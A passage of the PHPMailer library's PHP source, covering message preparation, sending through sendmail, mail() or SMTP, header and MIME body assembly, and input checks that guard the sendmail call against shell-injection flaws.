            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
